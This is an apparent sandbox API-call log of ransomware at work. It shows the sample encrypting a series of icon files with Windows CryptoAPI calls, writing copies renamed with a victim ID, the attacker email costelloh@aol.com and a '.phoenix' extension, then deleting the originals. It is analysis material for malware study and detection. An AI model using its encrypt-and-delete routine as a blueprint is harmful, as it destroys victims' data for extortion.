	[0066.135] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0066.135] CloseHandle (hObject=0x320) returned 1
	[0066.136] CloseHandle (hObject=0x324) returned 1
	[0066.139] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1
	[0066.141] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.141] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.141] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=894) returned 1
	[0066.141] CloseHandle (hObject=0x324) returned 1
	[0066.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80
	[0066.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.142] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.142] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.142] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.142] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.142] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa7c8) returned 1
	[0066.143] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.143] ReadFile (in: hFile=0x324, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x37e, lpOverlapped=0x0) returned 1
	[0066.175] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380, dwBufLen=0x380 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380) returned 1
	[0066.175] WriteFile (in: hFile=0x320, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x380, lpOverlapped=0x0) returned 1
	[0066.177] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa808) returned 1
	[0066.177] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.177] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.177] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0066.177] WriteFile (in: hFile=0x320, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0066.177] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0066.177] CloseHandle (hObject=0x324) returned 1
	[0066.177] CloseHandle (hObject=0x320) returned 1
	[0066.180] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1
	[0066.181] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.182] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.196] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=894) returned 1
	[0066.196] CloseHandle (hObject=0x344) returned 1
	[0066.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80
	[0066.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.196] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.196] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.196] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.196] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.232] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa608) returned 1
	[0066.232] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.232] ReadFile (in: hFile=0x344, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x37e, lpOverlapped=0x0) returned 1
	[0066.278] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380, dwBufLen=0x380 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380) returned 1
	[0066.278] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x380, lpOverlapped=0x0) returned 1
	[0066.279] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa288) returned 1
	[0066.279] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.279] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.279] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0066.280] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0066.280] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0066.280] CloseHandle (hObject=0x344) returned 1
	[0066.280] CloseHandle (hObject=0x330) returned 1
	[0066.281] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1
	[0066.282] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.282] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.282] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=894) returned 1
	[0066.282] CloseHandle (hObject=0x330) returned 1
	[0066.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 0x80
	[0066.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.282] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.282] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.282] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.283] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0066.283] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa908) returned 1
	[0066.283] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.283] ReadFile (in: hFile=0x330, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x37e, lpOverlapped=0x0) returned 1
	[0066.359] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380, dwBufLen=0x380 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380) returned 1
	[0066.359] WriteFile (in: hFile=0x344, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x380, lpOverlapped=0x0) returned 1
	[0066.360] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa488) returned 1
	[0066.360] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.361] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.361] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0066.361] WriteFile (in: hFile=0x344, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0066.361] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0066.361] CloseHandle (hObject=0x330) returned 1
	[0066.361] CloseHandle (hObject=0x344) returned 1
	[0066.368] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate6.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate6.ico")) returned 1
	[0066.369] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.369] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.381] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=894) returned 1
	[0066.381] CloseHandle (hObject=0x320) returned 1
	[0066.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 0x80
	[0066.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.381] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.382] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.382] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.382] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.388] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa5c8) returned 1
	[0066.388] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.388] ReadFile (in: hFile=0x320, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x37e, lpOverlapped=0x0) returned 1
	[0066.432] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380, dwBufLen=0x380 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x380) returned 1
	[0066.432] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x380, lpOverlapped=0x0) returned 1
	[0066.434] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa948) returned 1
	[0066.434] CryptSetKeyParam (hKey=0xbaa948, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.434] CryptEncrypt (in: hKey=0xbaa948, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.434] CryptDestroyKey (hKey=0xbaa948) returned 1
	[0066.434] WriteFile (in: hFile=0x324, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0066.434] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0066.434] CloseHandle (hObject=0x320) returned 1
	[0066.434] CloseHandle (hObject=0x324) returned 1
	[0066.453] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico")) returned 1
	[0066.456] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.456] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.457] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=36710) returned 1
	[0066.457] CloseHandle (hObject=0x320) returned 1
	[0066.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 0x80
	[0066.457] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.457] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.457] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.457] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.457] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.458] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa4c8) returned 1
	[0066.458] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.458] ReadFile (in: hFile=0x320, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x8f66, lpOverlapped=0x0) returned 1
	[0066.653] CryptEncrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x8f70, dwBufLen=0x8f70 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x8f70) returned 1
	[0066.653] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x8f70, lpOverlapped=0x0) returned 1
	[0066.654] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa808) returned 1
	[0066.654] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.654] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.654] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0066.654] WriteFile (in: hFile=0x330, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0xf2, lpOverlapped=0x0) returned 1
	[0066.655] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0066.655] CloseHandle (hObject=0x320) returned 1
	[0066.655] CloseHandle (hObject=0x330) returned 1
	[0066.656] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\Setup.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\setup.ico")) returned 1
	[0066.658] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x310f780 | out: pbBuffer=0x310f780) returned 1
	[0066.658] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.658] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310f720 | out: lpFileSize=0x310f720*=1150) returned 1
	[0066.658] CloseHandle (hObject=0x330) returned 1
	[0066.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80
	[0066.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.658] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0066.658] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.658] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f6c0 | out: lpNewFilePointer=0x0) returned 1
	[0066.658] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0066.659] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d4 | out: phKey=0x310f6d4*=0xbaa808) returned 1
	[0066.659] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.659] ReadFile (in: hFile=0x330, lpBuffer=0x34d6020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310f6fc, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesRead=0x310f6fc*=0x47e, lpOverlapped=0x0) returned 1
	[0066.781] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x480, dwBufLen=0x480 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x480) returned 1
	[0066.781] WriteFile (in: hFile=0x320, lpBuffer=0x34d6020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x310f6e0, lpOverlapped=0x0 | out: lpBuffer=0x34d6020*, lpNumberOfBytesWritten=0x310f6e0*=0x480, lpOverlapped=0x0) returned 1
	[0066.782] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x310f66c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x310f6d8 | out: phKey=0x310f6d8*=0xbaa288) returned 1
	[0066.782] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x310f780, dwFlags=0x0) returned 1
	[0066.782] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40, dwBufLen=0x40 | out: pbData=0x34d6020*, pdwDataLen=0x310f698*=0x40) returned 1
	[0066.782] CryptDestroyKey (hKey=0xbaa288) returned 1
